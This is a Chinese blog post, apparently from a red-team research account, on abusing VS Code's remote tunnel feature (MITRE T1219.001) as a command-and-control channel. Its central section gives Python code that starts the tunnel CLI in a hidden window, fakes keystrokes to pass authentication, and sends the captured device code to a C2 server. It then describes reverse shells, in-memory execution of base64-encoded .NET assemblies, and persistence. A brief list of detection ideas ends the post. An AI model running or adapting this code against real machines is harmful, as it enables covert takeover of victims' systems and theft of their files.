前言
MITRE ATT&CK框架2025年更新来了,本次介绍的是今年更新后新收录的手法——Command and Control: Remote Access Tools: IDE Tunneling(T1219.001)
攻击者可能滥用集成开发环境(IDE)的远程开发功能,在目标网络系统中建立交互式命令与控制(C2)通道。IDE隧道技术将SSH、端口转发、文件共享和调试功能整合到一条安全连接中,使开发者能够像操作本地系统一样远程工作。与SSH和端口转发不同,IDE隧道技术能够封装整个会话,并可能结合使用专有隧道协议和SSH协议,使攻击者能够将恶意流量伪装成合法的开发活动。例如,Visual Studio Code等IDE提供了命令行工具(如code tunnel),攻击者可借此通过编程方式建立隧道并生成可通过网络访问的远程连接URL。这些隧道可通过GitHub等账户认证,使攻击者能够通过合法的开发者门户控制受感染系统。
此外,攻击者可能利用IDE隧道技术实现持久化。部分IDE(如Visual Studio Code和JetBrains系列工具)支持自动重连功能。攻击者可配置IDE在系统启动时自动运行,从而在每次执行时重建隧道。此外,被入侵的开发者设备可能被用作跳板机,进一步渗透网络内部。
实现IDE隧道功能的工具可能是IDE原生内置的,也可能以扩展插件形式安装。
根据MITRE的收录,这种攻击方式最早在24年就被APT组织利用,基本都是用的VSCode隧道。同样我也用VSCode来详细说一下。
1 VS Code Tunnel
VSCode 隧道是微软 Visual Studio Code 提供的一项远程开发功能,允许开发者通过安全隧道将本地开发环境扩展到云端或其他远程服务器,其核心目的是简化远程开发流程,使用VSCode隧道可以在轻量级设备上通过浏览器远程访问完整的开发环境。
例如我有一台机器A,性能很不错,有完整的开发环境,但是不方便随身携带。我还有一台设备B,可以随身携带,但是没有开发环境。那我就可以通过VSCode Tunnel Service 为设备A和B搭建一条隧道,这样设备B就可以远程访问A的VSCode开发环境了。B能操作A的VSCode界面,但是所有代码编辑、终端操作、调试都在设备A运行,在设备B上看到的只是实时画面。
隧道架构核心组件
-
VSCode Server
轻量级后台服务,部署在本地开发机,提供代码编辑、终端访问、调试等核心功能模块。通过 WebSocket 协议与客户端通信,支持实时同步。
-
Tunnel Service
微软托管的云中继服务(基于 Azure),使用 Cloudflare Tunnel 技术实现反向代理。处理 NAT 穿透和动态 DNS 映射,默认使用 vscode.dev 子域名。
VSCode CLI 工具
包含 code 或 code
-insiders命令行工具,负责: 启动/管理本地 VS Code Server
与 Tunnel Service 协商建立加密通道
处理 GitHub/Microsoft 账户 OAuth 认证
2 隧道搭建演示
隧道命令行工具:
https://vscode.download.prss.microsoft.com/dbazure/download/insider/c90ebc27218affc8231b0acf4fd4e6856499dd2f/vscode_cli_win32_x64_cli.zip
先在设备A上用命令行工具向Tunnel Service发出隧道建立请求:
code-insiders.exe tunnel --accept-server-license-terms --name test4444
第一次运行还会让选择认证方式(Microsoft或github,一般选后者):
然后Tunnel Service会返回一个验证码:
拿到验证码之后,在B设备上通过浏览器访问Tunnel Service在上面给出的认证链接,用这个验证码通过认证,并与自己的github账号绑定:
认证通过之后,VS Code隧道服务就为A和B搭建了一条隧道,会在命令行返回一个远程访问链接:
通过这个链接,就可以在B设备的浏览器上访问A的VS Code:
3 滥用思路
网上常见的一个利用思路是通过LNK,远程下载和执行恶意py脚本,在脚本中下载和启动VSCode CLI工具,实时读取工具输出,传输到攻击者服务器,攻击者获取到验证码和远程访问链接,控制目标机器的 VSCode。
但是原作者没有给出完整的实现,其实也不一定要用python,甚至可以自己写代码搞个程序实现。不过方便起见这里我也用的py,远程下载工具这一步就不说了。
工具下载下来之后,第一次启动时,控制台会出现交互式选择,需要选择认证方式,如果要选择github,必须先按↓,再按回车,所以在命令行工具启动后,需要进行模拟按键,不然就会卡主不动。
def create_tunnel():
code_cache = ""
cli_path = download_vscode_cli()
if not cli_path:
return False
work_dir = os.path.join(os.environ['APPDATA'], 'Microsoft', 'VC')
os.makedirs(work_dir, exist_ok=True)
proc = subprocess.Popen(
[
cli_path,
"tunnel",
"--name", os.urandom(4).hex(),
"--accept-server-license-terms"
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
text=True,
bufsize=1,
universal_newlines=True,
cwd=work_dir,
creationflags=subprocess.CREATE_NO_WINDOW
)
# 启动模拟按键线程
Thread(target=send_keystrokes, args=(proc,), daemon=True).start()
def send_keystrokes(proc):
time.sleep(2)
try:
proc.stdin.write("x1b[B") # ↓ 键
proc.stdin.flush()
proc.stdin.write("rn") # 回车
proc.stdin.flush()
except BrokenPipeError:
print("[!] 管道已关闭")
此外还需要实时获取控制台输出,来获得验证码。这里我是将所有的输出都实时写入日志文件:
def start_logging():
log_file = open(LOG_FILE, 'a', buffering=1, encoding='utf-8')
sys.stdout = LogTee(sys.stdout, log_file)
sys.stderr = LogTee(sys.stderr, log_file)
subprocess._orig_popen = subprocess.Popen
def hijacked_popen(*args, **kwargs):
if 'stdout' not in kwargs:
kwargs['stdout'] = subprocess.PIPE
if 'stderr' not in kwargs:
kwargs['stderr'] = subprocess.PIPE
return subprocess._orig_popen(*args, **kwargs)
subprocess.Popen = hijacked_popen
当日志监控线程发现日志文件有新增内容时,就将新增内容作为GET请求参数发送到C2服务器。实战场景这里的设计应该更加完善,因为服务端只是用py模拟了一下所以很粗糙。
def log_monitor():
last_size = 0
while True:
time.sleep(3)
try:
with LOG_LOCK:
with open(LOG_FILE, 'rb') as f:
f.seek(0, 2)
curr_size = f.tell()
if curr_size > last_size:
f.seek(last_size)
new_data = f.read(curr_size - last_size).decode('utf-8')
last_size = curr_size
safe_data = quote(new_data)
requests.get(
f"{C2_SERVER}log?data={safe_data}",
timeout=15,
headers={'User-Agent': 'Mozilla/5.0'}
)
except Exception as e:
print(f"[!] 日志上传失败: {str(e)}")
time.sleep(30)
接下来在受害机器运行脚本,看到服务端接收到了请求,其中包含验证码(有点乱,url解码一下就行):
然后访问链接验证,验证成功后接收到了目标VS Code远程访问链接:
在攻击机器浏览器访问链接,就连接到了受害机器的VS Code,可以对目标机器的文件系统进行遍历和上传下载:
可以通过终端远程执行命令:
可以在目标机器上写入反弹shell的脚本,并远程运行或调试:
可以写入任何可执行文件或经过加密的payload,在控制台直接执行或者使用系统自带脚本解释器进行解码落地执行甚至内存加载。
例如开发一个简单的.NET程序集,功能就是获取当前进程并弹窗:
将其编译成exe然后编码成base64,写入目标机器:
直接在控制台执行powershell命令,对文件进行解码然后在内存中寻找入口点执行程序集:
转到目标机器,成功执行:
当第一次运行和认证后,只要攻击者不在自己的github上解除隧道认证,后续只要目标机器启动隧道工具,就会自动建立隧道,所以对隧道命令行工具设置持久化即可保持对目标的长久访问。
VS Code功能强大,利用姿势还有很多,可以自行探索。。。
4 检测思路
1、监控用户目录下code_tunnel.json文件的创建,由于考虑到正常远程开发需求,所以建议将这类行为作为疑似威胁行为参与事件关联,而不是直接产生告警。
2、监控Code CLI 工具建立隧道的特定命令行参数,由于考虑到正常远程开发需求,同上。
3、根据实操日志,远程操作的执行均是由目标机器用户vscode配置目录下的node.exe发起的,监控该进程创建的子进程异常行为。
4 、考虑到数据安全,企业可以直接禁止在公网上搭建隧道进行远程开发,封禁常见Code隧道服务的域名。
原文始发于微信公众号(红蓝攻防研究实验室):ATT&CK框架更新跟踪——IDE隧道滥用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论